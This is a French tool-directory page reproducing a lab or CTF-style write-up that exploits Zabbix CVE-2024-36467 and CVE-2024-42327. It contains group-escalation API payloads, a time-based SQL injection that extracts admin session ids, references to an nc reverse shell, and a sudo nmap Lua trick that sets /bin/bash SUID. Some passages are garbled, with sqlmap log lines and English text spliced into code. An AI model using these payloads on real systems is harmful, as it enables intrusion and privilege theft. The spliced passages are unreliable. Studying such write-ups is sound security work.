Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-42327 — analyse cve-2024-42327 | Kitploit
Outils/GitHubGitHub/igorbf495/cve-2024-42327
Escalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationCTFTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubigorbf495/cve-2024-42327

CVE-2024-42327

2il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

analyse cve-2024-42327

Voir le dépôt

Analyse de la vulnérabilité CVE-2024-42327 sur Zabbix

cible : 10.129.231.176

Informations : Je sais que ma cible est un serveur Zabbix. J'ai reçu un compte utilisateur par défaut pour me connecter au Zabbix : user matthew passwd 96qzn0h2e1k3. Ce compte possède un utilisateur standard, sans groupes ni privilèges supplémentaires.

Comme d'habitude, nous commençons par l'énumération, nous allons faire un scan de ports avec nmap.

image

La sortie de nmap nous montre que le port SSH standard et Apache2 sont également sur le port standard. Nous avons aussi les ports 10051 et 10050 qui exécutent un service Zabbix.

Accédons à Zabbix en mettant l'IP dans l'URL du navigateur et sur le port HTTP standard, port 80.

image

Voici l'écran de connexion de Zabbix, je vais me connecter avec l'utilisateur que j'ai reçu.

image

image

En bas de page, j'ai trouvé la version de Zabbix :

image

En utilisant Google (le père des idiots), j'ai cherché s'il existait déjà un CVE pour cette version de Zabbix.

image

Après un bon moment de recherche, j'ai vu que cette version est vulnérable au CVE-2024-42327 qui parle d'une exploitation d'injection SQL pour obtenir des données de la base de données et élever les privilèges, et au CVE-2024-36467 qui permet de modifier le rôle d'un utilisateur en superutilisateur en abusant de contrôles d'accès absents.

https://nvd.nist.gov/vuln/detail/CVE-2024-36467

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

La documentation de Zabbix explique comment faire des requêtes HTTP pour appeler l'API.

image

https://www.zabbix.com/documentation/current/en/manual/api

J'ai envoyé la requête en appelant apiinfo.version comme enseigné dans la documentation.

image

Ce qui nous a renvoyé ceci :

{"jsonrpc":"2.0","result":"7.0.0","id":1}

Pour le test suivant, j'ai modifié quelques paramètres dans cette requête pour la renvoyer.

image

Dans method, j'ai changé de apiinfo.version à user.login et j'ai ajouté les paramètres username et password. J'ai vu cela aussi dans la documentation de Zabbix.

image

Cela nous a renvoyé un token :

{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}

Après encore un temps de recherche, j'ai décidé d'aller dans le dépôt Zabbix sur GitHub.

https://github.com/zabbix/zabbix

J'ai recherché CUser et j'ai trouvé un fichier CUser.php.

image

Nous avons trouvé la fonction user.update :

root@kitploit:~
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}

Je n'ai trouvé aucune vérification d'autorisation, j'ai donc décidé de changer ma fonction en fonction de superutilisateur, je suis retourné à la requête et j'ai ajusté le payload.

image

Cela m'a renvoyé une erreur avec un message "invalid params".

En analysant encore plus le code, nous avons trouvé cette fonction :

root@kitploit:~
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}

D'après ce snippet, nous ne pouvons pas modifier nos rôles car notre rôle est vérifié en extrayant nos données du token API et en vérifiant dans la base de données si nous sommes cet utilisateur. Mais en analysant le code, on voit que usrgrps n'a aucune validation, et donc peut être abusé pour nous ajouter dans plusieurs groupes à la fois. Il n'y a aucune vérification pour empêcher un utilisateur de s'ajouter lui-même à des groupes auxquels il ne devrait pas avoir accès.

Essayons d'élever les privilèges à cause de ce manque de validation, j'ai modifié le payload et renvoyé la requête.

image

userid 3 correspond à l'ID de l'utilisateur matthew. usrgrps contient une liste d'IDs de groupe : 13 est un groupe interne et 7 est le groupe Zabbix administrators. Notre réponse du serveur confirme le succès de l'opération :

root@kitploit:~
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

Maintenant, nous pouvons extraire les groupes d'utilisateurs de notre utilisateur actuel. Modifions la requête et renvoyons-la.

image

En vérifiant la réponse, on voit que l'utilisateur avec l'ID 3 est dans les groupes administrateurs Interne et Zabbix.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}

Dans un scénario où un groupe d'hôtes valide a été attribué au groupe administrateurs de Zabbix, ils pourront profiter de la création d'éléments pour déclencher l'exécution de code à distance, ce qui sera abordé dans le prochain CVE.

Exploitation de CVE-2024-42327

En analysant à nouveau le code source dans la classe CUser, nous examinons la fonction user.get à la ligne 68. La ligne 108 contient une vérification avec le code suivant :

root@kitploit:~
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}

À partir de ce code, si l'option editable est fournie dans la requête à l'API, au lieu de valider le groupe d'utilisateurs, la vérification validera seulement que l'ID de l'utilisateur actuel correspond à l'utilisateur actuel, ce qui ignore les permissions lors de l'utilisation de la fonction user.get. À la ligne 234, un appel est fait à addRelatedObjects, qui est la fonction vulnérable susceptible d'injection SQL. En analysant la fonction addRelatedObject à la ligne 2969, on peut voir que la plupart des instructions SQL semblent sûres, jusqu'à la ligne 3041.

root@kitploit:~
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;

Dans ce bloc, si l'option selectRole est spécifiée, un appel non sécurisé est fait à la fonction DBSelect sans assainir les entrées utilisateur. Cela entraîne des injections SQL basées sur le temps et sur les booléens (Boolean Blind).

Pour tester cela, nous avons pris un payload de ce lien et validé si nous avons un point d'injection réussi dans les paramètres selectRole.

image

Nous avons réussi et la cible dort pendant 5 secondes.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%

En utilisant Charles Proxy, nous avons intercepté la requête et sauvegardé dans un fichier avec la demande suivante :

image

Maintenant, en utilisant SQLMap, nous essayons d'identifier d'éventuelles vulnérabilités et d'extraire les données de la base de données :

image

Après un certain temps, nous avons obtenu le résultat suivant :

root@kitploit:~
available databases [2]:
[*] information_schema
[*] zabbix

D'après la sortie, nous avons réussi à obtenir les noms de la base de données en exploitant l'injection SQL basée sur le temps.

Maintenant, essayons le RCE (exécution de code à distance).

Nous pouvons utiliser des agents mal configurés pour obtenir une exécution de code à distance. Pour ce faire à partir de l'injection SQL basée sur le temps, nous devons fuiter la table des sessions dans la base de données pour voir si l'utilisateur Admin a été authentifié. Malheureusement, étant une attaque basée sur le temps, cela peut prendre un certain temps, j'ai donc inclus un script multithread qui extraira la session de l'administrateur plus rapidement pour une utilisation ultérieure.

Le payload était le suivant :

image

C'est une injection SQL imbriquée basée sur le temps, où nous injectons notre payload dans le paramètre name, en ajoutant AND pour enchaîner la condition.

root@kitploit:~
SELECT * FROM (SELECT(SLEEP(...)))BEEF

Nous utilisons une condition SELECT externe qui englobe la condition SLEEP dans une sous-requête étiquetée BEEF.

root@kitploit:~
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))

La condition SLEEP prend la valeur TRUE_TIME de 1 seconde dans ce script et récupère le sessionid d'un compte administrateur actif qui a été authentifié sur le site ou l'API. La condition SELECT ci-dessus récupère le premier résultat à l'indice (ROW) 0 qui est encapsulé dans une condition MID. Nous utilisons la condition MID pour extraire le caractère à une position spécifique dans le sessionid qui est incrémenté et encapsulé dans une condition ORD. La condition ORD convertit le caractère extrait en valeurs ASCII pour comparaison et est encapsulée dans une condition IF. La condition IF [17:26:03] [INFO] extension automatique des plages pour le test de technique d'injection de requête UNION, car au moins une autre technique (potentielle) a été trouvée [17:26:04] [INFO] vérification si le point d'injection dans le paramètre POST (personnalisé) '#1*' est un faux positif. Le paramètre POST (personnalisé) '#1*' est vulnérable. Voulez-vous continuer à tester les autres (s'il y en a) ? [o/N] n sqlmap a identifié les points d'injection suivants avec un total de 77 requêtes HTTP : bases de données disponibles [2] : [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) vérifie si le caractère extrait correspond au caractère ASCII attendu ( ord(char) ). Si la condition est remplie et que la condition SLEEP est déclenchée, alors nous avons identifié le caractère correct et nous pouvons fuiter le sessionid de 32 caractères.

J'ai écrit un script en Python et je l'ai exécuté.

image

image

Après avoir exécuté le script, nous voyons que nous avons réussi à obtenir la session administrateur en seulement 30 secondes.

image

En utilisant le token API de l'utilisateur Admin, nous pouvons créer un élément et ensuite déclencher l'élément via une tâche. D'abord, nous devons créer l'élément, mais nous devons obtenir les IDs d'hôtes actuels ainsi que leurs IDs d'interface.

image

Nous avons obtenu la réponse :

root@kitploit:~
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

Maintenant, nous pouvons créer un élément avec le payload suivant :

image

Avant d'appuyer sur Entrée pour le payload, nous avons configuré un écouteur nc sur le port 4448 et attendu quelques secondes.

image

Il est maintenant temps d'appuyer sur Entrée pour le payload.

image

Cela a fonctionné. La tâche a été créée avec notre payload malveillant et nous avons obtenu un RCE (exécution de code à distance). Nous avons maintenant accès au serveur.

image

Maintenant que nous avons accès au serveur, passons à l'élévation de privilèges, essayons d'obtenir un accès root au serveur.

Comme nous sommes l'utilisateur zabbix, vérifions si nous pouvons exécuter un démon (programme) avec les permissions sudo :

image

Nous voyons que nous pouvons exécuter /usr/bin/nmap sans restrictions. Après avoir cherché sur Internet, j'ai trouvé le projet GTFOBins. GTFObins est un répertoire qui liste les binaires trouvés sur les systèmes Unix/Linux pouvant être utilisés de manière créative pour l'élévation de privilèges, l'évasion d'environnements restreints (comme chroot ou conteneurs) et l'exécution de commandes malveillantes.

image

https://gtfobins.github.io/gtfobins/nmap/#sudo

Essayons d'utiliser l'évasion sudo de gtfobins.

image

Il semble que Nmap soit protégé par un script wrapper, une couche de protection supplémentaire mise en œuvre pour limiter l'utilisation d'options potentiellement exploitables dans Nmap. Essayons de lire le fichier /usr/bin/nmap. Ouvrons-le avec l'éditeur de texte nano et analysons ce fichier.

image

Après de nombreuses recherches, j'ai vu que toutes les évasions GTFOBins sont inutiles dans ce scénario. Ils ont implémenté un wrapper pour protéger Nmap contre les méthodes courantes d'élévation de privilèges. Je suis resté sans options et j'ai lu la bibliothèque nmap.

Après un bon moment de lecture, j'ai trouvé quelque chose d'intéressant, l'option --datadir.

https://nmap.org/book/data-files-replacing-data-files.html

root@kitploit:~
--datadir <dirname>: Specify custom Nmap data file location

Cette option vous permet de spécifier un répertoire de données où les scripts standard et autres éléments essentiels de nmap sont stockés, la valeur par défaut dans ce cas est /usr/share/nmap. Voyons les permissions de ce fichier :

image

En recherchant sur ces fichiers, j'ai vu que le fichier nse_main.lua est le fichier de script standard qui peut être déclenché avec le paramètre -sC. C'est le fichier principal de script du Nmap Scripting Engine (NSE). Il contient des fonctions qui sont exécutées lorsque Nmap est utilisé avec l'option -sC (scan avec scripts standard). En créant un script malveillant avec ce nom, il est possible de faire en sorte que Nmap l'exécute automatiquement. Pour exploiter cela, nous allons créer un nouveau fichier dans /tmp/nse_main.lua avec os.execute("chmod 4755 /bin/bash").

J'ai créé le fichier nse_main.lua contenant la commande os.execute("chmod 4755 /bin/bash").

4755 : définit le SUID (Set User ID) sur le binaire /bin/bash. Cela permet à tout utilisateur exécutant /bin/bash d'avoir les mêmes privilèges que le propriétaire du fichier, qui est root.

image

image

Lorsque nous scannons localhost avec -sC activé, nous définissons /bin/bash en SUID et nous obtenons un shell avec l'UID effectif de l'utilisateur root.

image

--datadir=/tmp : fait chercher à Nmap ses fichiers de configuration et scripts dans le répertoire /tmp. Cela inclut le script malveillant nse_main.lua.

-sC : active l'exécution des scripts standard, y compris le script malveillant que nous venons de créer.

localhost : fait exécuter le scan sur le système lui-même.

Le script nse_main.lua est exécuté par Nmap avec les permissions root (car la commande a été exécutée avec sudo).

image

Avec le SUID activé, nous pouvons exécuter : /bin/bash -p

image

-p : préserve le bit SUID et exécute bash avec les privilèges du propriétaire (root).

image

uid=114 : identité de l'utilisateur zabbix. euid=0 : effectivement en train d'opérer en tant que root.

Maintenant, nous avons obtenu les privilèges root.

Télécharger l’outil